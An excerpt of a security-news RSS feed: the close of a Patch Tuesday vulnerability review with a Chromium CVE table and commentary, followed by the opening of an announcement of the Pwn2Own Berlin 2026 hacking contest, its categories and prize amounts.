  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3536"><span><span> </span>CVE-2026-3536 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3536 Integer overflow in
  ANGLE<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3538"><span><span> </span>CVE-2026-3538 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3538 Integer overflow in
  Skia<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3539"><span><span> </span>CVE-2026-3539 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3539 Object lifecycle
  issue in DevTools<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3540"><span><span> </span>CVE-2026-3540 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3540 Inappropriate
  implementation in WebAudio<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3541"><span><span> </span>CVE-2026-3541 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3541 Inappropriate
  implementation in CSS<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3542"><span><span> </span>CVE-2026-3542 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3542 Inappropriate
  implementation in WebAssembly<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3543"><span><span> </span>CVE-2026-3543 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3543 Inappropriate
  implementation in V8<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3544"><span><span> </span>CVE-2026-3544 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3544 Heap buffer overflow
  in WebCodecs<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3545"><span><span> </span>CVE-2026-3545 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3545 Insufficient data
  validation in Navigation<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="151"></td>
  <td width="263"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="95"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, they are all cloud-native and require no user action. Microsoft has already remediated the vulnerabilities.</p><p class="">Moving on to the other code execution bugs, the vulnerabilities in SharePoint Server pop out first. Both require authentication, but it’s essentially the lowest level of authentication, so these would be ideal cases for lateral movement within an enterprise. There are the standard open-and-own cases within Office components. There an interesting sounding bug in the Windows Mobile Broadband Driver that requires physical access, but Microsoft doesn’t elaborate on the attack scenario beyond that fact. The bug in the System Image Manager Assessment and Deployment Kit (ADK) requires authentication. The bug in GDI requires user interaction. The remaining code execution bugs are in the RRAS protocol. We’ve seen bugs in this component in the past, but never in the wild. I wouldn’t ignore these, but I wouldn’t rush them out either.</p><p class="">Similar to last month, updates for Elevation of Privilege (EoP) bugs make up nearly half of this month’s release. And as we saw last month, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. The bugs in SQL Server allow attackers to elevate to SQL sysadmin privileges. The bug in the Azure MCP Server is more complex. It allows attackers to obtain the permissions associated with the MCP Server’s managed identity, which lets them perform actions that the managed identity is able to reach. The bug in the Azure AD SSH Login extension for Linux leads to root access, and it won’t be easy to patch. You’ll need to run the update instructions from the command line on each affected system. That’s the same case for the bug in the Linux Azure Diagnostic extension (LAD). There’s an odd bug in the Hybrid Worker Extension (Arc‑enabled Windows VMs) that leads to “ELEVATED” privileges, which is something I’ve never seen before. The bug in the Broadcast DVR component allows an attacker to go from low integrity level up to medium. There’s a bug listed as an EoP in the Push message Routing Service, but reading the description, Microsoft notes it could lead to an information disclosure. It’s likely this is an error and should be an Information Disclosure bug. The final EoP is in the Azure Portal Windows Admin Center and leads to SYSTEM. However, there’s no patch to remediate this bug. Instead, you need to install the latest version of the Windows Admin Center extension through the Azure Portal by hand. </p><p class="">There are two security feature bypass patches in the March release. The first is a bypass of the MapURLToZone method, which (as expected) allows attackers to bypass MapURLToZone protections. The third bypass is in Kerberos and could allow an attacker to either view some sensitive information or make changes to “disclosed” information. This is a race condition that occurs while the group policy is being reapplied, so the window to exploit this would be extremely small.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, only two result in info leaks consisting of unspecified memory contents or memory addresses. Ther others provide more interesting results. There are three bugs in the Azure IoT Explorer have some wide-ranging implications. According to Microsoft, exploitation could result in, “device connection information, authentication tokens, request data, file paths, and other information transmitted between the application and the IoT Hub.” The bug in Authenticator almost reads like a security feature bypass, as exploit results in the disclosure of a one‑time sign‑in code or authentication deep link. The attacker would receive the sign‑in information and could potentially use it to authenticate as the user, allowing access to information or services available to that account. The last info disclosure bug is in the Accessibility Infrastructure and allows an attacker to gain secrets or privileged information belonging to the user of the affected application.</p><p class="">There are only four spoofing bugs in the March release. The first is in SharePoint server and manifests as an XSS. The second bug is a Server-Side Request Forgery (SSRF) in the Azure IoT Explorer. The remaining two are a bit more cryptic. The bug in Windows Shell Link Processing results from the “exposure of sensitive information to an unauthorized actor,” and could lead to spoofing. That sounds like credential exposure, but it’s not explicitly called out. The final spoofing bug results from the insufficient verification of data authenticity in Windows App Installer. Again, this sounds vaguely like credential reflection, but without further information, we can only speculate. </p><p class="">Finally, there are four denial-of-service (DoS) bugs in the release, including one that’s listed as publicly known in the .NET Framework. As usual, Microsoft provides no actionable information about these bugs.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being at RSA for the first time in my career, so if you’re around, please stop by and say hello. I like it when people say hello. Otherwise, I’ll be back on April 14 with my assessment of that patch Tuesday release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Announcing Pwn2Own Berlin for 2026]]></title>
<description><![CDATA[If you just want to read the contest rules, click here. Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and OffensiveCon. Outside of...]]></description>
<link>https://tsecurity.de/de/3694471/it-security-nachrichten/announcing-pwn2own-berlin-for-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694471/it-security-nachrichten/announcing-pwn2own-berlin-for-2026/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>If you just want to read the contest rules, click </em><a href="https://www.zerodayinitiative.com/Pwn2OwnBerlin2026Rules.html" target="_blank"><em>here</em></a><em>.</em></p><p class=""> </p><p class="">Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and <a href="https://www.offensivecon.org/" target="_blank">OffensiveCon</a>. Outside of our <a href="https://www.youtube.com/shorts/Xj9Du8iuXCw" target="_blank">shipping troubles</a>, we had an amazing time and can’t wait to get back.</p><p class="">Last year, we added <strong>Artificial Intelligence</strong> as a category with great results. This year, we’re expanding this and splitting it into multiple different categories: AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products. In last year’s contest, NVIDIA targets had wins, losses, and collisions, so it will be interesting to see how they fare this year. The folks from <strong>AWS </strong>wanted to get into the fray as well, so they stepped up to co-sponsor this year’s event, which allows us to increase the reward for bugs in Firecracker. Of course, we have all of the returning categories as well, including web browsers, containers, servers, virtualization, and operating systems. There’s more than $1,000,000 in cash and prizes available for contestants. Last year, we awarded $1,078,750 for 28 unique 0-days over the three-day event. We’ll see if we can eclipse those numbers in 2026.</p><p class="">The contest begins on May 14, but registration closes on May 7, so don’t delay in getting those submissions in. We’re hoping for maximum participation, so set aside your vibe coding and show us what you can really do. We’re looking forward to some cutting-edge exploitation on display. For 2026, we have a total of 31 targets across 10 categories. Here is a full list of the categories for this year’s event:  </p>





















  
  



<p><a data-preserve-html-node="true" name="top"></a> 
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#virtual">-- Virtualization</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#browser">-- Web Browser</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#entapps">-- Enterprise Applications</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#server">-- Servers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#eop">-- Local Escalation of Privilege</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#container">-- Containers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#aidb">-- AI Database</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#aicode">-- Coding Agents</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#ailocal">-- Local Inference</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#nvidia">-- NVIDIA</a>  </p>




  <p class="">Of course, no Pwn2Own competition would be complete without us crowning a Master of Pwn (Meister von Pwn?). Since the order of the contest is decided by a random draw, contestants with an unlucky draw could still demonstrate fantastic research but receive less money since subsequent rounds go down in value. However, the points awarded for each unique, successful entry do <em>not</em> go down. Someone could have a bad draw and still accumulate the most points. The person or team with the most points at the end of the contest will be crowned Master of Pwn, receive 65,000 ZDI reward points (enough for <a href="https://www.zerodayinitiative.com/about/benefits/" target="_blank">Platinum</a> status), a killer <a href="https://static1.squarespace.com/static/5894c269e4fcb5e65a1ed623/t/5b8993b321c67c67b886f506/1535742910114/trophy.jpg" target="_blank">trophy</a>, and a <a href="https://pbs.twimg.com/media/C6Z5iQQXEAEPQ0Q.jpg" target="_blank">pretty</a> <a href="https://pbs.twimg.com/media/DNhpw_xUEAEkEwG.jpg" target="_blank">snazzy</a> <a href="https://pbs.twimg.com/media/Cu-6uFSWcAEefBS.jpg" target="_blank">jacket</a> to boot.</p><p class="">Let's look at the details of the rules for this year's event.</p>





















  
  



<p><a data-preserve-html-node="true" name="virtual"></a>  </p>
<p><b data-preserve-html-node="true">Virtualization Category</b> </p>




  <p class="">Some of the highlights for each contest can be found in the Virtualization Category, and we’re thrilled to see what this year’s event could bring with it. As usual, VMware is the main highlight of this category as we’ll have VMware ESXi return with an award of $150,000. Last year produced the first ESXi exploits in Pwn2Own history, so it will be interesting to see if we get more. Microsoft also returns as a target and leads the virtualization category with a $250,000 award for a successful Hyper-V Client guest-to-host escalation. Kernel-based Virtual Machine (KVM) is our final target in this category with a prize of $50,000.</p><p class="">There’s an add-on bonus in this category as well. If a contestant can escape the guest OS, then gain arbitrary code execution on the virtualization target <em>and</em> obtain arbitrary code execution in the guest operating system on a separate virtual machine managed by the same targeted virtualization target, they’ll earn another $50,000. That could push the payout on a ESXi bug to $200,000. This bonus is for KVM and ESXi only. Here’s a detailed look at the targets and available payouts in the Virtualization category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="browser"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Web Browser Category</b></p>




  <p class="">While browsers are the “traditional” Pwn2Own target, we’re continuously tweaking the targets in this category to ensure they remain relevant. We re-introduced renderer-only exploits a couple of years ago, and this year, we’ve increased the award to $75,000. In fact, we’ve increased the awards across the board for this category. Here’s a detailed look at the targets and available payouts:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="entapps"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Enterprise Applications Category</b></p>




  <p class="">Enterprise applications return as targets with Adobe Reader and various Office components on the target list once again. Attempts in this category must be launched from the target under test. For example, launching the target under test from the command line is not allowed. Prizes in this category run from $50,000 for a Reader exploit with a sandbox escape or a Reader exploit with a kernel privilege escalation, and $150,000 for an Office 365 application. Word, Excel, and PowerPoint are all valid targets. Microsoft Office-based targets will have Protected View enabled where applicable. Adobe Reader will have Protected Mode enabled where applicable.</p><p class="">This year, we’re adding a bonus for Copilot data exfiltration and Copilot action execution. Microsoft just <a href="https://x.com/thezdi/status/2031496424488042681" target="_blank">patched</a> a bug like this in Excel, so we know they are out there. If you’re able to exploit Copilot in addition to a Microsoft application, you’ll earn an additional $50,000. There are quite a few rules and scenarios around this add-on, so be sure to read the rules carefully and contact us with questions. Here’s a detailed view of the targets and payouts in the Enterprise Application category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="server"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Server Category</b></p>




  <p class="">The Server Category for 2026 focuses solely on the server components we’re most interested in. These servers are often targeted by everyone from ransomware crews to nation/state actors, so we know there are exploits out there for them. The only question is whether we’ll see any of the competitors bring one of those exploits to Pwn2Own. Last year, the bugs demonstrated in SharePoint ended up being exploited in the wild, so we know people are looking for these with great interest. Microsoft Exchange has been a popular target for some time, and it returns as a target this year as well, with a payout of $200,000. This category is rounded out by Microsoft Windows RDP/RDS, which also has a payout of $200,000. Here’s a detailed look at the targets and payouts in the Server category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="eop"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Local Escalation of Privilege Category</b></p>




  <p class="">This category is a classic for Pwn2Own and focuses on attacks that originate from a standard user and result in executing code as a high-privileged user. A successful entry in this category must leverage a kernel vulnerability to escalate privileges. Red Hat Enterprise Linux for Workstations returns as our Linux-based target, while Apple macOS, and Microsoft Windows 11 return as targets in this category. Prior exploits in this category have won Pwnie awards, so they’re always interesting to see. Here’s a detailed look at the targets and payouts in this category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="container"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Container Category</b></p>




  <p class="">We’re excited to have this category return for its third season, and we’re hopeful that even more contestants will target one of these container targets. For an attempt to be ruled a success against these three, the exploit must be launched from within the guest container/microVM and execute arbitrary code on the host operating system. Again, with help from AWS, Firecracker returns as a target with a prize of $100,000. Here are the targets and payouts for this category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=750w 750w, 